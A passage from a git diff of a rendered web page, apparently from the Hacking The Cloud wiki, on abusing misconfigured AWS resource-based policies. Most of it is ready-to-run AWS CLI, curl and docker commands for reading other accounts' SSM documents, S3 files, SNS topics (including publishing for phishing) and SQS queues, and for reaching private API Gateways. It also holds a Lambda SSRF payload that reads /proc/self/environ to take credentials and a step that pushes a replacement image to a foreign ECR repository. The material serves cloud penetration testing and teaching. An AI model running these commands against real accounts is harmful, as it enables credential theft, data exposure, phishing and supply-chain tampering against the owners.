+aws<span class=w> </span>ssm<span class=w> </span>list-documents<span class=w> </span>--filters<span class=w> </span><span class=s2>&quot;Key=Owner,Values=Public&quot;</span><span class=w> </span><span class=p>|</span><span class=w> </span>jq<span class=w> </span><span class=s1>&#39;.DocumentIdentifiers[] | select(.Owner | contains(&quot;123456789012&quot;))&#39;</span>
+
+<span class=c1># List document versions</span>
+<span class=c1># Different versions can have different</span>
+<span class=c1># secrets or details</span>
+aws<span class=w> </span>list-document-versions<span class=w> </span>--name<span class=w> </span><span class=nv>$document_name</span>
+
+<span class=c1># Get document details</span>
+<span class=c1># If the document has more versions you can use --document-version $number</span>
+<span class=c1># to get details about that version</span>
+<span class=c1># If version is not specified then the default one is used</span>
+aws<span class=w> </span>ssm<span class=w> </span>describe-document<span class=w> </span>--name<span class=w> </span><span class=nv>$document_name</span>
+
+<span class=c1># Get the actual content of the document</span>
+<span class=c1># Use --document-version $number if multiple versions</span>
+aws<span class=w> </span>ssm<span class=w> </span>get-document<span class=w> </span>--name<span class=w> </span><span class=nv>$document_name</span>
+</code></pre></div> <h3 id=cloudfront>CloudFront<a class=headerlink href=#cloudfront title="Permanent link">&para;</a></h3> <p>If the CloudFront distribution has as origin a misconfigured S3 bucket, then even if the bucket is configured to block public access, it might be possible to list the bucket by accessing the distribution's URL. In order for this to work the bucket policy needs to allow "s3:ListBucket" for the CloudFront's Origin Access Identity (OAI). Most likely you will not encounter this outside a lab.</p> <div class=highlight><pre><span></span><code><span class=c1># Try to list the bucket (Should not work)</span>
+<span class=c1># You won&#39;t know the bucket if you only have the distribution&#39;s URL</span>
+aws<span class=w> </span>s3<span class=w> </span>ls<span class=w> </span>s3://example-bucket
+
+<span class=c1># Access the distribution and list the files</span>
+curl<span class=w> </span>https://example1234567.cloudfront.net
+
+<span class=c1># Read sensitive files</span>
+curl<span class=w> </span>https://example1234567.cloudfront.net/<span class=nv>$file</span>
+</code></pre></div> <h2 id=2-cant-be-found-from-a-black-box-perspective>2. Can't be found from a black-box perspective<a class=headerlink href=#2-cant-be-found-from-a-black-box-perspective title="Permanent link">&para;</a></h2> <p>These services can't be identified from a purely black-box perspective (exception the Public ECR), but they can be misconfigured so that they can be accessed from any external AWS account. For most of these services you need additional information that most likely you'll not find from the internet, brute-forcing or similar techniques. </p> <h3 id=sns-topics>SNS Topics<a class=headerlink href=#sns-topics title="Permanent link">&para;</a></h3> <div class=highlight><pre><span></span><code><span class=c1># List topic subscribers</span>
+<span class=c1># This will return the subscribers which can be</span>
+<span class=c1># email addresses or other services like SQS queues</span>
+<span class=c1># that might be public as well</span>
+aws<span class=w> </span>sns<span class=w> </span>list-subscriptions-by-topic<span class=w> </span>--topic-arn<span class=w> </span>arn:aws:sns:<span class=nv>$region</span>:123456789012:example-topic
+
+<span class=c1># Get topic attributes</span>
+aws<span class=w> </span>sns<span class=w> </span>get-topic-attributes<span class=w> </span>--topic-arn<span class=w> </span>arn:aws:sns:<span class=nv>$region</span>:123456789012:example-topic
+
+<span class=c1># Subscribe to the topic</span>
+<span class=c1># If you subscribe you will get a confirmation</span>
+<span class=c1># email with a link you have to access</span>
+<span class=c1># After confirming you will receive any messages sent</span>
+<span class=c1># to the topic</span>
+aws<span class=w> </span>sns<span class=w> </span>subscribe<span class=w> </span>--topic-arn<span class=w> </span>arn:aws:sns:<span class=nv>$region</span>:123456789012:example-topic<span class=w> </span><span class=se>\</span>
+<span class=w>        </span>--protocol<span class=w> </span>email<span class=w> </span><span class=se>\</span>
+<span class=w>        </span>--notification-endpoint<span class=w> </span><span class=nv>$email_address</span>
+
+
+<span class=c1># Publish to topic</span>
+<span class=c1># All subscribers will receive this message</span>
+<span class=c1># This can be leveraged to perform phishing attacks</span>
+aws<span class=w> </span>sns<span class=w> </span>publish<span class=w> </span>--topic-arn<span class=w> </span>arn:aws:sns:<span class=nv>$region</span>:123456789012:example-topic<span class=w> </span>--message<span class=w> </span><span class=s2>&quot;This is the email body&quot;</span><span class=w> </span>--subject<span class=w> </span><span class=s2>&quot;This is the email subject&quot;</span>
+</code></pre></div> <h3 id=sqs-queues>SQS Queues<a class=headerlink href=#sqs-queues title="Permanent link">&para;</a></h3> <div class=highlight><pre><span></span><code><span class=c1># Send message</span>
+aws<span class=w> </span>sqs<span class=w> </span>send-message<span class=w> </span><span class=se>\</span>
+<span class=w>    </span>--queue-url<span class=w> </span>https://sqs.<span class=nv>$region</span>.amazonaws.com/123456789012/example-queue<span class=w> </span><span class=se>\</span>
+<span class=w>    </span>--message-body<span class=w> </span><span class=s2>&quot;Your message&quot;</span>
+
+<span class=c1># Receive messages</span>
+<span class=c1># This will remove the message from the queue</span>
+aws<span class=w> </span>sqs<span class=w> </span>receive-message<span class=w> </span>--queue-url<span class=w> </span>https://sqs.<span class=nv>$region</span>.amazonaws.com/123456789012/example-queue
+
+<span class=c1># Delete message</span>
+<span class=c1># Message will be deleted anyway when</span>
+<span class=c1># running receive-message in default implementations</span>
+aws<span class=w> </span>sqs<span class=w> </span>delete-message<span class=w> </span><span class=se>\</span>
+<span class=w>    </span>--queue-url<span class=w> </span>https://sqs.<span class=nv>$region</span>.amazonaws.com/123456789012/example-queue<span class=w> </span><span class=se>\</span>
+<span class=w>    </span>--receipt-handle<span class=w> </span><span class=nv>$big_string_from_receive_message_call</span>
+
+<span class=c1># This will delete all items in the queue</span>
+aws<span class=w> </span>sqs<span class=w> </span>purge-queue<span class=w> </span>--queue-url<span class=w> </span>https://sqs.<span class=nv>$region</span>.amazonaws.com/123456789012/example-queue
+</code></pre></div> <h3 id=private-api-gateways>Private API Gateways<a class=headerlink href=#private-api-gateways title="Permanent link">&para;</a></h3> <p>A private API Gateway is private in the sens that it can't be accessed from outside the AWS's network. People can mistake a private API Gateway as being accessible only from their AWS account, which is a common misconception. </p> <div class=highlight><pre><span></span><code><span class=c1># Example API Gateway details</span>
+<span class=nv>api_id</span><span class=o>=</span>example123
+<span class=nv>region</span><span class=o>=</span>eu-central-1
+<span class=nv>stage</span><span class=o>=</span>prod
+<span class=nv>endpoint</span><span class=o>=</span>fetch
+
+<span class=c1># Try to access the API gateway from your host/VM</span>
+<span class=c1># It should not work</span>
+curl<span class=w> </span>https://<span class=nv>$api_id</span>.execute-api.<span class=nv>$region</span>.amazonaws.com/<span class=nv>$stage</span>/<span class=nv>$endpoint</span>
+nslookup<span class=w> </span><span class=nv>$api_id</span>.execute-api.<span class=nv>$region</span>.amazonaws.com
+
+<span class=c1># We&#39;ll start an EC2 instance and perform the # request from there</span>
+<span class=c1># The instance must be in the same region as the target API</span>
+<span class=c1># Create a security group that allows all inbound traffic if</span>
+<span class=c1># you don&#39;t already have one and use it here</span>
+<span class=c1># The AMI is for the latest Amazon Linux image at the moment of writing this article</span>
+<span class=c1># Save the instance ID for later</span>
+aws<span class=w> </span>--region<span class=w> </span><span class=nv>$region</span><span class=w> </span>ec2<span class=w> </span>run-instances<span class=w> </span>--security-group-ids<span class=w> </span>sg-example1234567<span class=w> </span>--instance-type<span class=w> </span>t2.micro<span class=w> </span>--image-id<span class=w> </span>ami-0b5673b5f6e8f7fa7
+
+<span class=c1># Check if you have VPC endpoint com.amazonaws.$region.execute-api</span>
+aws<span class=w> </span>--region<span class=w> </span><span class=nv>$region</span><span class=w> </span>ec2<span class=w> </span>describe-vpc-endpoints
+
+<span class=c1># Skip this if the VPC endpoint already exist</span>
+<span class=c1># Create the VPC Endpoint</span>
+<span class=c1># Should take around 1-2 minutes to be available</span>
+<span class=c1># Run either &#39;aws ec2 describe-instances&#39; or</span>
+<span class=c1># &#39;aws ec2 describe-vpcs&#39; or &#39;aws-describe-subnets&#39; in order</span>
+<span class=c1># to get the information about the VPC id along with the subnet ids</span>
+<span class=c1># You have to use the same VPC as the one of the previous EC2</span>
+<span class=c1># Create a security group that allows all inbound traffic if</span>
+<span class=c1># you don&#39;t already have one and use it here</span>
+aws<span class=w> </span>ec2<span class=w> </span>create-vpc-endpoint<span class=w> </span><span class=se>\</span>
+<span class=w>    </span>--vpc-id<span class=w> </span>vpc-example1234567<span class=w> </span><span class=se>\</span>
+<span class=w>    </span>--vpc-endpoint-type<span class=w> </span>Interface<span class=w> </span><span class=se>\</span>
+<span class=w>    </span>--service-name<span class=w> </span>com.amazonaws.<span class=nv>$region</span>.execute-api<span class=w> </span><span class=se>\</span>
+<span class=w>    </span>--subnet-ids<span class=w> </span>subnet-example1234567,subnet-example1234567,subnet-example1234567<span class=w> </span><span class=se>\</span>
+<span class=w>    </span>--security-group-ids<span class=w> </span>sg-example1234567<span class=w> </span><span class=se>\</span>
+<span class=w>    </span>--private-dns-enabled
+
+<span class=c1># Connect to the instance</span>
+aws<span class=w> </span>ec2-instance-connect<span class=w> </span>ssh<span class=w> </span>--os-user<span class=w> </span>root<span class=w> </span>--instance-id<span class=w> </span><span class=nv>$instance_id</span>
+</code></pre></div> <div class=highlight><pre><span></span><code><span class=c1># Now we should be able to resolve and invoke the private API Gateway</span>
+<span class=c1># Check DNS resolution</span>
+nslookup<span class=w> </span><span class=nv>$api_id</span>.execute-api.<span class=nv>$region</span>.amazonaws.com
+
+<span class=c1># Invoke the API</span>
+curl<span class=w> </span>https://<span class=nv>$api_id</span>.execute-api.<span class=nv>$region</span>.amazonaws.com/<span class=nv>$stage</span>/<span class=nv>$endpoint</span>
+</code></pre></div> <p><em>Delete the instance and the VPC Endpoint when you're done. VPC Endpoints can get expensive.</em></p> <h3 id=lambda-functions>Lambda Functions<a class=headerlink href=#lambda-functions title="Permanent link">&para;</a></h3> <div class=highlight><pre><span></span><code><span class=nv>function_name</span><span class=o>=</span>example-function
+<span class=c1># Invoke function via AWS CLI</span>
+<span class=c1># Because the function is from an external account, the</span>
+<span class=c1># whole ARN must be specified</span>
+<span class=c1># You can invoke a certain version of the function by adding its number at the end</span>
+<span class=c1># e.g. arn:aws:lambda:$region:123456789012:function:$function_name:1</span>
+aws<span class=w> </span>lambda<span class=w> </span>invoke<span class=w> </span>--function-name<span class=w> </span>arn:aws:lambda:<span class=nv>$region</span>:123456789012:function:<span class=nv>$function_name</span><span class=w> </span><span class=se>\</span>
+<span class=w>    </span>--payload<span class=w> </span><span class=s1>&#39;&lt;input&gt;&#39;</span>
+
+<span class=c1># If the function is vulnerable to SSRF you might</span>
+<span class=c1># be able to exfiltrate the access credentials by reading</span>
+<span class=c1># the contents of /proc/self/environ</span>
+<span class=c1># For this you need to specify --cli-binary-format</span>
+<span class=c1># This is can be used as a persistence technique</span>
+aws<span class=w> </span>lambda<span class=w> </span>invoke<span class=w> </span>--function-name<span class=w> </span>arn:aws:lambda:<span class=nv>$region</span>:123456789012:function:<span class=nv>$function_name</span><span class=w> </span><span class=se>\</span>
+<span class=w>    </span>--payload<span class=w> </span><span class=s1>&#39;{&quot;queryStringParameters&quot;:{&quot;url&quot;:&quot;file:///proc/self/environ&quot;}}&#39;</span><span class=w> </span><span class=se>\ </span><span class=w>                                              </span>
+<span class=w>    </span>--cli-binary-format<span class=w> </span>raw-in-base64-out<span class=w> </span>output.txt
+
+<span class=c1># Invoke the function by its URL</span>
+<span class=c1># Just because the Lambda Function can be invoked</span>
+<span class=c1># by anyone, doesn&#39;t mean it will have a public URL</span>
+<span class=c1># There is no known way to reverse the function URL</span>
+<span class=c1># to get the function ARN or vice-versa</span>
+curl<span class=w> </span>https://examplexample12345678901234567890exa.lambda-url.<span class=nv>$region</span>.on.aws/?url<span class=o>=</span>file:///proc/self/environ<span class=w> </span>&gt;<span class=w> </span>output.txt
+</code></pre></div> <h3 id=ecr-repositories>ECR Repositories<a class=headerlink href=#ecr-repositories title="Permanent link">&para;</a></h3> <h4 id=private-repository-access>Private Repository Access<a class=headerlink href=#private-repository-access title="Permanent link">&para;</a></h4> <p>Even if the repository is private, it can be misconfigured so that it allows any other AWS account to access it.</p> <div class=highlight><pre><span></span><code><span class=c1># Login first</span>
+<span class=c1># This command might not work on Windows</span>
+aws<span class=w> </span>ecr<span class=w> </span>get-login-password<span class=w> </span><span class=p>|</span><span class=w> </span>docker<span class=w> </span>login<span class=w> </span><span class=se>\</span>
+<span class=w>    </span>--username<span class=w> </span>AWS<span class=w> </span><span class=se>\</span>
+<span class=w>    </span>--password-stdin<span class=w> </span><span class=m>123456789012</span>.dkr.ecr.<span class=nv>$region</span>.amazonaws.com/example-private
+
+<span class=c1># Pull image</span>
+docker<span class=w> </span>pull<span class=w> </span><span class=m>123456789012</span>.dkr.ecr.<span class=nv>$region</span>.amazonaws.com/example-private:latest
+
+<span class=c1># Inspect image for secrets</span>
+<span class=c1># You can search the image in multiple ways</span>
+docker<span class=w> </span><span class=nb>history</span><span class=w> </span><span class=m>123456789012</span>.dkr.ecr.<span class=nv>$region</span>.amazonaws.com/example-private:latest<span class=w> </span>--no-trunc
+docker<span class=w> </span>inspect<span class=w> </span><span class=m>123456789012</span>.dkr.ecr.<span class=nv>$region</span>.amazonaws.com/example-private:latest
+docker<span class=w> </span>run<span class=w> </span>-it<span class=w> </span><span class=m>123456789012</span>.dkr.ecr.<span class=nv>$region</span>.amazonaws.com/example-private:latest<span class=w> </span>cat<span class=w> </span>/etc/environment
+
+<span class=c1># You can even push a new version of the image</span>
+<span class=c1># if the ECR is that badly misconfigured</span>
+docker<span class=w> </span>push<span class=w> </span><span class=m>123456789012</span>.dkr.ecr.<span class=nv>$region</span>.amazonaws.com/example-private:latest
+</code></pre></div> <h4 id=public-repository-access>Public Repository Access<a class=headerlink href=#public-repository-access title="Permanent link">&para;</a></h4> <p>This is the case where the company created a public repository instead of a private one. Compared with the other services from section 3, this one can be found from a black-box perspective.</p> <div class=highlight><pre><span></span><code><span class=c1># You can find the repository by searching it</span>
+<span class=c1># https://gallery.ecr.aws/search?searchTerm=hackingthe.cloud</span>
+
+<span class=c1># Login</span>
+<span class=c1># The public ECR is available only in us-east-1</span>
+aws<span class=w> </span>ecr-public<span class=w> </span>get-login-password<span class=w> </span>--region<span class=w> </span>us-east-1<span class=w> </span><span class=p>|</span><span class=w> </span>docker<span class=w> </span>login<span class=w> </span><span class=se>\</span>
+<span class=w>    </span>--username<span class=w> </span>AWS<span class=w> </span><span class=se>\</span>
+<span class=w>    </span>--password-stdin<span class=w> </span>public.ecr.aws/id123456/example-public
+
+
+<span class=c1># Pull public image</span>
+docker<span class=w> </span>pull<span class=w> </span>public.ecr.aws/id123456/example-public
+
+<span class=c1># Inspect image for secrets</span>
+<span class=c1># You can search the image in multiple ways</span>
+docker<span class=w> </span><span class=nb>history</span><span class=w> </span>public.ecr.aws/id123456/example-public<span class=w> </span>--no-trunc
+docker<span class=w> </span>inspect<span class=w> </span>public.ecr.aws/id123456/example-public
+docker<span class=w> </span>run<span class=w> </span>-it<span class=w> </span>1public.ecr.aws/id123456/example-public<span class=w> </span>cat<span class=w> </span>/etc/environment
+</code></pre></div> <h2 id=call-for-contributions>Call for contributions<a class=headerlink href=#call-for-contributions title="Permanent link">&para;</a></h2> <p>Do you know other relevant services that can be misconfigured so that they grant read, write or execute permissions over their resources? Feel free to add or suggest them.</p> <p>One service that should be included in this document is AWS Cognito. However, recently AWS performed some changes over how Cognito can be configured and further analysis is required before I can vouch for the attacks against it.</p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">December 5, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">December 5, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/web-flow class=md-author title=@web-flow> <img src="https://avatars.githubusercontent.com/u/19864447?v=4&size=72" alt=web-flow> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
+document$.subscribe(() => { lightbox.reload() });
+</script></body> </html>
\ No newline at end of file
diff --git a/aws/exploitation/Misconfigured_Resource-Based_Policies/index.html b/aws/exploitation/Misconfigured_Resource-Based_Policies/index.html
index e5518a2ff..6a8cdabd4 100644
--- a/aws/exploitation/Misconfigured_Resource-Based_Policies/index.html
+++ b/aws/exploitation/Misconfigured_Resource-Based_Policies/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Common misconfigurations of resource-based policies and how they can be abused."><link href=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/ rel=canonical><link href=../s3_streaming_copy/ rel=prev><link href=exploit_amplify_vulnerability_in_same_account_scenario/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Misconfigured Resource-Based Policies - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Misconfigured Resource-Based Policies - Hacking The 